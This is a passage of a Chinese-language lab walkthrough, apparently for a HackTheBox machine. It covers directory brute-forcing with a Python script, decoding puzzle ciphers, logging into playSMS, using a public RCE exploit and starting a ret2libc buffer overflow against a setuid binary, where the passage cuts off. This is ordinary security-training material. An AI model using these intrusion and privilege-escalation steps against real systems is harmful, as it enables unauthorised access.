没作用&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0342.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;对两个403的目录进行爆破 因为我没写递归&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0343.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0344.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;找到个目录 访问成功了 但是我之前获得的密码都登陆不上去&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0345.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0346.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;很多exp 估计这就是真正的入口点了 但是目前我并不清楚他的版本 要不然全打一遍 要不然找找版本&lt;/p&gt;&#10;&lt;p&gt;特意去github找了个版本看看&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0347.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;每个目录下的index.html全部为空 找不到版本号&lt;/p&gt;&#10;&lt;p&gt;那就直接打exp把 根据教程 &lt;a class="link" href="https://cloudker.github.io/web-security/2017/05/15/PlaySms-1.4%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90" target="_blank" rel="noopener"&#10; &gt;https://cloudker.github.io/web-security/2017/05/15/PlaySms-1.4%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.111:9999/playsms/index.php?app=main&amp;amp;inc=core_auth&amp;amp;route=register" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.111:9999/playsms/index.php?app=main&amp;amp;inc=core_auth&amp;amp;route=register&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;这里可以注册&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0348.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0349.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;被ban了 但至少目前掌握了目录结构 但是总不能让我挖漏洞吧 应该还是利用nday&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0350.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;倒序挨个说结论吧&lt;/p&gt;&#10;&lt;p&gt;48199.txt 要登陆而且还是msf代码&lt;/p&gt;&#10;&lt;p&gt;42038.txt 要登陆普通权限用户就行 但是我们试过了无法注册&lt;/p&gt;&#10;&lt;p&gt;44599.rb msf脚本直接跳过&lt;/p&gt;&#10;&lt;p&gt;42044.txt 要登陆普通用户就行 也提示了可以注册 但是我们无法注册&lt;/p&gt;&#10;&lt;p&gt;42003.txt 也要普通用户登录&lt;/p&gt;&#10;&lt;p&gt;17792.txt 他给的路径在站点上找不到 我的源码目录结构里也没有那个文件 基本确定了 目标站点版本比17792.txt这个站点高 也就是比 0.9.9.2高&lt;/p&gt;&#10;&lt;p&gt;目前自带的exp根本打不了&lt;/p&gt;&#10;&lt;p&gt;google以及找找默认口令&lt;/p&gt;&#10;&lt;p&gt;找了几个poc打不进去 默认口令admin:admin进不去&lt;/p&gt;&#10;&lt;p&gt;其实到这一步我怀疑他就是一个没问题的 跟之前那些一样 没有一点用&lt;/p&gt;&#10;&lt;p&gt;最后我只找到这个目录&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0351.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;其实还有ssh没有试再去试试 实际上ssh也不行&lt;/p&gt;&#10;&lt;p&gt;同样这三个密码我都在samba上试了 但是都不行 并且里面没有其他目录可以连&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0352.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;目录爆破给了我其他结果 loop貌似有很多级 我开始一直往后加loop&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Host&amp;#39;: &amp;#39;10.10.10.111:9999&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;en-US,en;q=0.5&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Encoding&amp;#39;: &amp;#39;gzip, deflate&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Connection&amp;#39;: &amp;#39;close&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cookie&amp;#39;: &amp;#39;PHPSESSID=gqpklpimfs5kh12tddv3gjgs06&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;i = 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url = &amp;#34;http://10.10.10.111:9999/loop&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;response = requests.get(url=url,headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;while response.status_code == 403:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; url += &amp;#34;/loop&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.get(url=url, headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; i += 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(i,response.status_code,url)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(response.text)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(url)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0353.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;第42个 终于出结果了 虽然回包是404 但是可以继续爆破&lt;/p&gt;&#10;&lt;p&gt;loop最后的一个目录接着爆破 我突然还有个思路 这么多网页 它的源码还有js文件里肯定会藏东西 那就接着翻吧&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0354.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这个接口还有个csrftoken 可以爆破 但是还得写脚本&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0355.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;最下面有个提示&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0356.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;马来语&lt;/p&gt;&#10;&lt;p&gt;全翻了一遍 就只有上面有藏起来的东西&lt;/p&gt;&#10;&lt;p&gt;目前我是能探索的都探索了一遍 除了一开始的succes.html那些看不懂的加密内容&lt;/p&gt;&#10;&lt;p&gt;我现在能百分百确认了 那个是必须要看的 开始google&lt;/p&gt;&#10;&lt;p&gt;我把下面这些全丢到google 出了一个结果&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;&amp;hellip;.. &amp;hellip;.. &amp;hellip;.. .!?!! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;?. ?!.?. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. ..!.? &amp;hellip;.. &amp;hellip;.. .!?!! .?&amp;hellip; &amp;hellip;.. ..?.? !.?.. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.! &amp;hellip;.. &amp;hellip;.. .!.?. &amp;hellip;.. .!?!! .?!!! !!!?. ?!.?! !!!!! !&amp;hellip;! &amp;hellip;.. &amp;hellip;.. .!.!! !!!!! !!!!! !!!.? &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;.! ?!!.? &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. .?.?! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;!. !!!!! !!.?. &amp;hellip;.. .!?!! .?&amp;hellip; &amp;hellip;?. ?!.?. &amp;hellip;.. ..!.? &amp;hellip;.. ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?&amp;hellip;. &amp;hellip;.. &amp;hellip;.. &amp;hellip;!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. .!?!! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;?. ?!.?. &amp;hellip;.. !&amp;hellip;. &amp;hellip;.. ..!.! !!!!! !.!!! !!&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;.! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;.! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?&amp;hellip; &amp;hellip;.! ?!!.? &amp;hellip;.. .?.?! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. ..!?! !.?.. &amp;hellip;.. &amp;hellip;.. ..?.? !.?.. !.?.. &amp;hellip;.. ..!?! !.?.. &amp;hellip;.. .?.?! .?&amp;hellip; .!.?. &amp;hellip;.. .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!&amp;hellip; &amp;hellip;.. &amp;hellip;!. ?&amp;hellip;. &amp;hellip;.. !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? &amp;hellip;.. ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !&amp;hellip;. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. !.!.? &amp;hellip;.. &amp;hellip;.. .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. &amp;hellip;.. &amp;hellip;.! ?!!.? &amp;hellip;.. &amp;hellip;.. ?.?!. ?&amp;hellip;. &amp;hellip;.. &amp;hellip;.. ..!.. &amp;hellip;.. &amp;hellip;.. .!.?. &amp;hellip;.. &amp;hellip;!? !!.?! !!!!! !!?.? !.?!! !!!.? &amp;hellip;.. ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. &amp;hellip;.. &amp;hellip;!? !!.?. &amp;hellip;.. ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. &amp;hellip;.. ..!?! !.?.. &amp;hellip;.. .?.?! .?&amp;hellip; .!.?. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! &amp;hellip;.. ..!.! !!!!! !.?.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0357.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0358.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Nothing here check /asdiSIAJJ0QWE9JAS&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0359.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;找到了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0360.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;一个zip文件 因为普通文件 他的开头不可能是PK 而所有的zip文件他的开头都是PK&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0361.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0362.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我将获得的密码都丢了进去&lt;/p&gt;&#10;&lt;p&gt;最终密码是password&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0363.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0364.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;解出来是这个&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;+++++ +++++ [-&amp;gt;++ +++++ +++&amp;lt;] &amp;gt;++++ +.&amp;mdash; &amp;ndash;.++ +++++ .&amp;lt;+&lt;/p&gt;&#10;&lt;p&gt;++ [-&amp;gt;++ +&amp;lt;]&amp;gt;+&lt;/p&gt;&#10;&lt;p&gt;++.&amp;lt;+ ++[-&amp;gt; &amp;mdash;&amp;lt;] &amp;gt;&amp;mdash;- &amp;ndash;.&amp;ndash; &amp;mdash;&amp;ndash; .&amp;lt;+++&lt;/p&gt;&#10;&lt;p&gt;+[-&amp;gt;+ +++&amp;lt;] &amp;gt;+++. &amp;lt;+++[ -&amp;gt;&amp;mdash;&lt;/p&gt;&#10;&lt;p&gt;&amp;lt;]&amp;gt;&amp;ndash; .&amp;lt;+++ [-&amp;gt;++ +&amp;lt;]&amp;gt;+ .&amp;ndash;&lt;/p&gt;&#10;&lt;p&gt;-. &amp;lt;+++[ -&amp;gt;&amp;mdash; &amp;lt;]&amp;gt;&amp;ndash; &amp;mdash;-. &amp;lt;++++ [-&amp;gt;++ ++&amp;lt;]&amp;gt;&lt;/p&gt;&#10;&lt;p&gt;++..&amp;lt;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;这回学聪明了 直接丢google&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0365.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0366.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;默认账号admin 成功进来了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0367.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.exploit-db.com/exploits/42044" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/42044&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;42044的一键脚本&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/jasperla/CVE-2017-9101" target="_blank" rel="noopener"&#10; &gt;https://github.com/jasperla/CVE-2017-9101&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;可以直接getshell&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0368.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;开始提权&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0369.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;数据库root权限&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0370.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;44298.c完全匹配 直接传上去&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0371.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;报错 靶机是32位的 改成32位编译就行&lt;/p&gt;&#10;&lt;p&gt;gcc 44298.c -m32 -static -o 44298&lt;/p&gt;&#10;&lt;p&gt;好吧即使是32位的 还是报错&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0372.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;试了几次 这个exp确定是打不了的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0373.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;写的是&amp;lt; 就是不行&lt;/p&gt;&#10;&lt;p&gt;/home/sahay/.node-red 这个目录有settings.js 密码解出来就是password&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0374.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0375.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0376.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;sahay启动的node-red 也就是直接拿下node-red 就是sahay权限 再继续看看&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0377.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0378.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;挨个看一下这些文件 都没有东西 我只能再去家目录找了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0379.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;看到个有意思的 上面有两个公钥 但是进行连接的话 我这里应该找私钥才对 公钥对我而言完全没用&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0380.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;两个文件是一样的&lt;/p&gt;&#10;&lt;p&gt;接着翻家目录发现&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0381.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;有s权限&lt;/p&gt;&#10;&lt;p&gt;二进制elf文件 简单运行一下 提示这个&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0382.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0383.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;他会重复你的说的话 这里肯定需要逆向 但是让我读一些C/C++代码还没问题 逆向的汇编我还真没学&lt;/p&gt;&#10;&lt;p&gt;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;-这里了解到要用到缓冲区溢出的技术 我目前只测出来&lt;/p&gt;&#10;&lt;p&gt;他最多能承担 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 也就是49个字符&lt;/p&gt;&#10;&lt;p&gt;目前这一处先空下吧 等后面学会了缓冲区溢出 会再来打的&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;现在是这个靶场的第二天 oscp考的缓冲区溢出貌似比较基础 我也是学了一天基础部分了解了&lt;/p&gt;&#10;&lt;p&gt;重新找到那个rop程序开始分析&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0384.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;第一个setuid push了一个0 也就是root的权限&lt;/p&gt;&#10;&lt;p&gt;第二处调用了vuln函数 传了一个eax参数 最终赋给了vuln&lt;/p&gt;&#10;&lt;p&gt;这些其实都不用管 咱们主要是找eip&lt;/p&gt;&#10;&lt;p&gt;直接传参&lt;/p&gt;&#10;&lt;p&gt;用52个英文字母来识别 当然可以更多字符 只要不一样就行&lt;/p&gt;&#10;&lt;p&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0385.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;52个字符报错了 但是实际上他的指向是0x08048400 deregister_tm_clones这个函数&lt;/p&gt;&#10;&lt;p&gt;当我们在52个字符后面加4个字符填充的时候 会出现这些&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0386.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我加了4个1 他出现了1的ascii16进制 说明我们找到了eip在哪&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0387.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;接下来找靶机动态链接库&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0388.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;记录地址 0xb7e19000&lt;/p&gt;&#10;&lt;p&gt;这里我们要找两个函数 system和exit 执行系统命令以及退出进程&lt;/p&gt;&#10;&lt;p&gt;还有一个字符串 /bin/sh 的地址&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;ww-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &amp;quot; system&amp;quot;&lt;/p&gt;&#10;&lt;p&gt;&amp;lt;/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &amp;quot; system&amp;quot;&lt;/p&gt;&#10;&lt;p&gt;1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0&lt;/p&gt;&#10;&lt;p&gt;www-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &amp;quot; exit&amp;quot;&lt;/p&gt;&#10;&lt;p&gt;&amp;lt;/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &amp;quot; exit&amp;quot;&lt;/p&gt;&#10;&lt;p&gt;141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 